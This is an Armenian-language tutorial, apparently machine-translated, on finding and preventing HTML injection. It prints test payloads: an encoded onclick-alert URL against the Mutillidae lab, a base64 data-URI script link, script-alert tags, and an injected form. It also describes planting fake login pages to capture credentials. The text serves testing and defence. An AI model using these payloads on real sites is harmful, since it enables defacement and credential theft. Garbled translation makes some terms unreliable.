Պարզելու համար, թե որ մեթոդն է օգտագործվում կայքի համապատասխան տարրերի համար, մենք կարող ենք ստուգել էջի բնօրինակ ծածկագիրը.
Օրինակ, փորձարկիչը կարող է ստուգել մուտքի ձեւի աղբյուրի կոդը եւ պարզել, թե որ մեթոդն է օգտագործվում դրա համար: Այնուհետեւ կարող եք ընտրել համապատասխան HTML ներարկման եղանակը.
Արտացոլված ստացվում է, երբ մեր մուտքը ցուցադրվում է (արտացոլվում է) կայքում: Ենթադրենք, մենք ունենք մի պարզ էջ `տվյալների մուտքի ձեւով, որը խոցելի է այս հարձակման համար: Այնուհետեւ, եթե մենք մուտքագրեք HTML որեւէ կոդ, որպես պարամետր, այն կհայտնվի մեր կայքում եւ միեւնույն ժամանակ կներառվի HTML փաստաթղթի մեջ.
http://mutillidae/index.php?page=user-poll.php&csrf-token=&choice=nmap&initials=%3Ca%22%22+href%3D%22%22onclick%3Dalert%28%22HTML%22%29%3Eprotey%3C%2Fa%3E&user-poll-php-submit-button=Submit+Vote
<a"" href=""onclick=alert("HTML")>protey</a>
Արտացոլված գրառումը HTML ներարկումը մի փոքր ավելի բարդ է: Դա տեղի է ունենում այն ժամանակ, երբ փոստային մեթոդի ճիշտ պարամետրերի փոխարեն ուղարկվում է վնասակար HTML կոդը.
Օրինակ, մենք ունենք մուտքի ձեւ, որը խոցելի է HTML հարձակման համար: Մուտքի տեսքով մուտքագրված տվյալները ուղարկվում են փոստային մեթոդով: Այնուհետեւ, եթե ճիշտ պարամետրերի փոխարեն ներդրենք որեւէ HTML կոդ, այն կուղարկվի փոստով եւ ցուցադրելու կայքում.
Իրականացված Post HTML հարձակումը վարելու համար խորհուրդ է տրվում օգտագործել հատուկ զննարկչի plugin, որը կեղծելու է ուղարկված տվյալները: Դրանցից մեկը Mozilla Firefox- ի «Trapper Data» plugin է: Plugin- ը ընդունում է ուղարկված տվյալները եւ թույլ է տալիս օգտագործողին փոխել այն: Այնուհետեւ փոխված տվյալները ուղարկվում եւ ցուցադրվում են կայքում.
Օրինակ, եթե մենք օգտագործում ենք նման plugin, մենք կուղարկենք նույն HTML ծածկագիրը, եւ այն կցուցադրվի նաեւ նույնը, ինչ նախորդ օրինակով (կախված դիմումից)).
<h1>PROTEY.NET</h1>
Արտացոլված URL- ը տեղի է ունենում այն ժամանակ, երբ HTML ծածկագիրը ուղարկվում է URL կայքում, այն ցուցադրվում է կայքում եւ միեւնույն ժամանակ մուտքագրվել է կայքի HTML կայքում.
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCg5KTwvc2NyaXB0Pg">protey</a>
Ինչպես է իրականացվում HTML-Injecting- ը?
Այս տեսակի ներարկումն իրականացնելու համար հարձակվողը, առաջին հերթին, պետք է գտնեն կայքի խոցելի վայրեր: Ինչպես արդեն նշվեց, կայքի նման վայրերը կարող են լինել դաշտեր `տվյալների մուտքագրման եւ կայքի հղման համար.
Marmious HTML ծածկագիրը կարող է մուտք գործել աղբյուրի կոդով Innerhtml- ի միջոցով: Հիշեցնենք, որ Innerhtml- ը DOM փաստաթղթի սեփականությունն է, եւ Innerhtml- ի օգնությամբ մենք կարող ենք գրել դինամիկ HTML կոդ: Այն օգտագործվում է հիմնականում տվյալների մուտքի դաշտերի համար, ինչպիսիք են մեկնաբանությունները, հարցաթերթիկները, գրանցման ձեւերը եւ այլն, հետեւաբար, այս տարրերը առավել խոցելի են HTML գրոհների համար.
Ենթադրենք, մենք ունենք հարցաշար, որտեղ մենք լրացնում ենք համապատասխան պատասխանները եւ մեր անունը: Եվ երբ հարցաթերթիկը լրացվում է, ցուցադրվում է հաստատող հաղորդագրությունը: Հաստատման հաղորդագրությունը ցույց է տալիս նաեւ նշված օգտագործողի անունը կամ դրա ընտրությունը.
Ինչպես հասկանում ենք, Tester_Name- ը օգտագործողի կողմից նշված անունն է: Հետեւաբար, այս հաստատման հաղորդագրության ծածկագիրը կարող է հետեւել հետեւյալ կերպ:
var user_name=location.href.indexOf(“user=”); document.getElementById(“Thank you for filling our questionnaire”).innerHTML=” Thank you for filling our questionnaire, ”+user;
The ուցադրված ծածկագիրը խոցելի է նման հարձակման համար: Եթե HTML որեւէ կոդ հարցաթերթիկի տեսքով, դրա հաղորդագրությունը կցուցադրվի հաստատման էջում.
Նույնը տեղի է ունենում մեկնաբանությունների հետ: Ենթադրենք, որ եթե մենք մեկնաբանության ձեւ ունենանք, եւ դա խոցելի է HTML հարձակման համար.
Ձեւը, օգտագործողը ներկայացնում է մեկնաբանության իր անունը եւ տեքստը: Բոլոր պահպանված մեկնաբանությունները էջում նշված են էջում եւ բեռնվում են էջը բեռնելու ժամանակ: Հետեւաբար, եթե վնասակար ծածկագիրը մուտքագրվել եւ պահպանվել է, այն կբեռնվի եւ կցուցադրվի կայքում.
Օրինակ, եթե մենք պահենք կոդը մեկնաբանությունների դաշտում, ինչպես նշված է ստորեւ, Pop-up պատուհանը «Բարեւ» հաղորդագրությամբ: Կհայտնվի, ցուցադրվելու է էջը բեռնելու ժամանակ.
<html><body><script>alert("Hello!");</script></body></html>
Այս տեսակի ներարկման կատարման մեկ այլ եղանակ է կայքի հղմանը սեղմել: Եկեք ասենք, որ մենք հղում ենք դեպի PHP կայքը.
Ինչպես տեսնում եք, «Կայքը» պարամետր է, եւ «1» -ը դրա իմաստն է: Այնուհետեւ, եթե «կայքի համար» պարամետրը «1» արժեքի փոխարեն նշվի ցանկացած HTML կոդ, ցուցադրված տեքստով, այս նշված տեքստը կցուցադրվի «էջը չի գտնվել» էջում: Դա տեղի է ունենում միայն այն դեպքում, եթե էջը խոցելի է HTML հարձակման համար.
Ենթադրենք, մենք տեքստը մուտքագրում ենք պիտակներով Պարամետրերի արժեքի փոխարեն.
Այնուհետեւ մենք ստանում ենք կայքում ցուցադրված տեքստը, ինչպես ցույց է տրված ստորեւ:
Նաեւ արդեն նշվել է, որ ոչ միայն HTML կոդի ոչ միայն մի կտոր կարող է ներդրվել: Մի ամբողջ վնասակար էջ կարող է ուղարկվել նաեւ վերջնական օգտագործողին.
Օրինակ, եթե օգտագործողը բացում է ցանկացած մուտքի էջ եւ մտնում է իր հաշվապահական հաշվառման տվյալները: Այս դեպքում, եթե նախնական էջի փոխարեն բեռնված է վնասակար էջ, եւ օգտագործողը իր հաշվապահական հաշվառման տվյալներն է ուղարկում այս էջի միջոցով, երրորդ կողմը կարող է ստանալ օգտագործողի հաշվապահական տվյալներ.
Ինչպես ստուգել HTML-ինդեքսի առկայությունը?
Սկսելով ստուգել հնարավոր գրոհները ներարկումով, փորձարկիչը պետք է նախ ներկայացնի կայքի բոլոր պոտենցիալ խոցելի մասերը.
Հիշեցնեմ, որ դա կարող է լինել:
Ապա դուք կարող եք իրականացնել ձեռքով թեստեր.
Ձեռքով փորձարկելիս հնարավոր է, որ HTML- ի ներդրումը հնարավոր է, կարող եք մուտքագրել HTML պարզ կոդ, օրինակ, ստուգելու համար, թե արդյոք տեքստը կցուցադրվի: Դա իմաստ չունի փորձարկել շատ բարդ HTML կոդ, պարզ ծածկագիրը կարող է բավարար լինել դրա ցուցադրումը ստուգելու համար.
Օրինակ, այն կարող է լինել տեքստի պարզ պիտակներ:
<h1>HTML Injection testing</h1>
Կամ որոնման ձեւի կոդ, եթե ցանկանում եք փորձարկել ավելի բարդ բան:
<form method="post" action="index.html"> <p><input type="text" name="search" value="" placeholder="Search text"></p> <p class="search_text"> <label> <input type="checkbox" name="search_text" id="search_text">
Մուտքագրեք տեքստը որոնման համար:
</label> </p> <p class="submit"><input type="submit" name="commit" value="Search"></p> </form>
Եթե ցուցադրվում է HTML ծածկագիրը, որը պահվում է ինչ-որ տեղ, ապա փորձարկողը կարող է վստահ լինել, որ այս ներարկման հարձակումը հնարավոր է: Այնուհետեւ կարող եք փորձել ավելի բարդ կոդ `օրինակ, կեղծ մուտքի ձեւը ցուցադրելու համար.
Մեկ այլ լուծում HTML ներարկման սկաներ է: Այս հարձակման դեմ ավտոմատ սկանավորումը կարող է խնայել ձեր ժամանակը: Ես ուզում եմ նշել, որ HTML ներարկման փորձարկման համար այնքան շատ գործիքներ չկան `համեմատած այլ հարձակումների հետ.
Այնուամենայնիվ, հնարավոր լուծումներից մեկը կիրառությունն է: Կարելի էր անվանել խոցելիության բավականին ուժեղ սկաներ, քանի որ այն թեստեր տարբեր մուտքային տվյալներով, եւ ոչ միայն կանգ է առնում, երբ առաջինը ձախողում ես.
Սա օգտակար է փորձարկման համար, հնարավոր է, ինչպես նշված է Damper տվյալների զննարկչի վերոհիշյալ plugin- ում, նա ստանում է ուղարկված տվյալները, թույլ է տալիս փորձարկողին փոխել դրանք եւ դրանք ուղարկել զննարկիչ.
Մենք կարող ենք գտնել նաեւ առցանց սկանավորման որոշ գործիքներ, որտեղ ձեզ հարկավոր է միայն հղում տրամադրել կայքում, եւ HTML գրոհների համար կավարտվի: Թեստավորման ավարտից հետո ցուցադրվելու է ամփոփագիրը.
Ես ուզում եմ նշել, որ սկանավորման գործիք ընտրելիս մենք պետք է ուշադրություն դարձնենք, թե ինչպես է այն վերլուծում արդյունքները եւ բավական ճշգրիտ է.
Այնուամենայնիվ, պետք է հաշվի առնել, որ մենք չպետք է մոռանանք ձեռքով փորձարկման մասին: Այսպիսով, մենք կարող ենք վստահ լինել, թե որ մուտքային տվյալներն են օգտագործվում եւ ինչ ճշգրիտ արդյունք ենք ստանում: Արդյունքները վերլուծելը նույնպես ավելի հեշտ է.
Ծրագրային ապահովման փորձարկման ոլորտում իմ փորձի հիման վրա ես կցանկանայի մեկնաբանել, որ ինչպես փորձարկման մեթոդների համար մենք պետք է լավ ճանաչենք ներարկման այս տեսակը: Հակառակ դեպքում դժվար կլինի ընտրել համապատասխան ավտոմատացման գործիք եւ վերլուծել դրա արդյունքները: Բացի այդ, միշտ առաջարկվում է չմոռանալ ձեռքով փորձարկել, քանի որ դա մեզ միայն ավելի մեծ վստահություն է տալիս.
Կասկած չկա, որ այս հարձակման հիմնական պատճառը մշակողի անզգուշությունն ու անտեղյակությունն է: Ներարկման հարձակման այս տեսակը տեղի է ունենում այն ժամանակ, երբ մուտքը եւ դուրսբերումը պատշաճ կերպով չեն հաստատվում: Հետեւաբար HTML- ի հարձակումները կանխելու հիմնական կանոնը տվյալների համապատասխան ստուգումն է.
Յուրաքանչյուր մուտք պետք է հաստատվի, եթե այն պարունակում է ցանկացած սցենարի կոդ կամ ցանկացած HTML կոդ: Այն սովորաբար ստուգվում է, օրենսգիրքը պարունակում է ցանկացած հատուկ սցենարի կամ HTML փակագիծ - Ոճի լինել>.
Օրենսգրքում հատուկ փակագծերի առկայությունը ստուգելու համար շատ գործառույթներ կան: Ստուգման գործառույթի ընտրությունը կախված է ձեր օգտագործած ծրագրավորման լեզվից.
Պետք է հիշել, որ անվտանգության լավ փորձարկումը նույնպես կանխարգելման մաս է կազմում: Ես կցանկանայի ուշադրություն հրավիրել այն փաստի վրա, որ քանի որ HTML ներարկումը շատ հազվադեպ է, դրա մասին քիչ տեղեկություններ կան, ինչպես նաեւ հայտնաբերման գործիքների մասին: Այնուամենայնիվ, անվտանգության փորձարկման այս մասը չպետք է բաց թողնի, քանի որ երբեք չգիտես, թե երբ կարող է անհրաժեշտ լինել.
Բացի այդ, ինչպես մշակողը, այնպես էլ փորձարկողը պետք է լավ իմանան, թե ինչպես է կատարվում այս հարձակումը: Հարձակման գործընթացի լավ ընկալումը կարող է օգնել կանխել.
Համեմատություն այլ գրոհների հետ
Հնարավոր այլ հարձակումների համեմատությամբ, HTML- ն անպայման չի համարվի որպես վտանգավոր, որքան հարձակումը `օգտագործելով SQL- պաշտպանություն կամ JavaScript-Injection կամ նույնիսկ XSS: Այն չի քանդելու ամբողջ տվյալների բազան կամ չի գողանա տվյալների բազայից բոլոր տվյալները: Այնուամենայնիվ, այն չպետք է փոքր-ինչ համարվի.
Ինչպես ավելի վաղ նշվեց, այս տեսակի իրականացման հիմնական նպատակը վնասակար նպատակների համար ցուցադրված կայքի տեսքը փոխելն է, ցուցադրեք ձեր ուղարկած տեղեկատվությունը վերջնական օգտագործողին: Այս ռիսկերը կարող են համարվել ավելի քիչ կարեւոր.
Կայքի տեսքի փոփոխությունը կարող է վնասել ձեր ընկերության հեղինակությանը: Եթե հարձակվողը սպառիչ է դուրս գալիս ձեր կայքի տեսքը, դա կարող է փոխել այցելուների կարծիքը ձեր ընկերության մասին.
Պետք է հիշել, որ կայքում այս հարձակման հետ կապված մեկ այլ ռիսկը մեկ այլ օգտագործողի անձնական տվյալների գողությունն է.
Ինչպես արդեն նշվեց, HTML- ներման միջոցով, հարձակվողը կարող է ներկայացնել ամբողջ էջը, որը կցուցադրվի վերջնական օգտագործողի համար: Այնուհետեւ, եթե վերջին օգտագործողը ցույց է տալիս իր տվյալները կեղծ մուտքի էջը մուտքագրելու համար, դրանք կուղարկվեն հարձակվողին: Այս դեպքը, իհարկե, հարձակման ամենահավանական մասն է.
Հարկ է նշել, որ այլ օգտվողներից տվյալները գողանալու համար այս տեսակի հարձակումը ընտրվում է ավելի քիչ հաճախ, քանի որ կան շատ այլ հարձակումներ.
Այնուամենայնիվ, դա շատ նման է XSS հարձակմանը, որը գողանում է օգտագործողի cookie- ն եւ այլ օգտվողների անձնական տվյալները: HTML- ի հիման վրա կան նաեւ XSS գրոհներ: Հետեւաբար, XSS- ի եւ HTML գրոհների դեմ փորձարկումը կարող է շատ նման լինել եւ միասին իրականացվել.
Քանի որ HTML- ի ներդրումը այնքան էլ տարածված չէ, որքան մյուս գրոհները, այն կարելի է համարել ավելի քիչ ռիսկային: Հետեւաբար, այս տեսակի ներարկման առկայության համար փորձարկումը երբեմն բաց է թողնում.
Հարկ է նաեւ փոքր քանակությամբ տեղեկատվություն նշել HTML ներարկման մասին: Հետեւաբար, փորձարկողները կարող են որոշում կայացնել չկատարել այս տեսակի փորձարկում: Այնուամենայնիվ, այս դեպքում HTML- ի հարձակումների ռիսկերը կարող են բավարար չափով գնահատվել.
Ինչպես վերլուծում էինք այս առաջնորդության մեջ, օգտագործելով այս տեսակի իրականացումը, ձեր կայքի ամբողջ դիզայնը կարող է ոչնչացվել կամ օգտագործող մուտք գործելու տվյալներ կարող են գողանալ: Հետեւաբար, խստորեն խորհուրդ է տրվում ներառել HTML ներարկումը անվտանգության փորձարկումներում: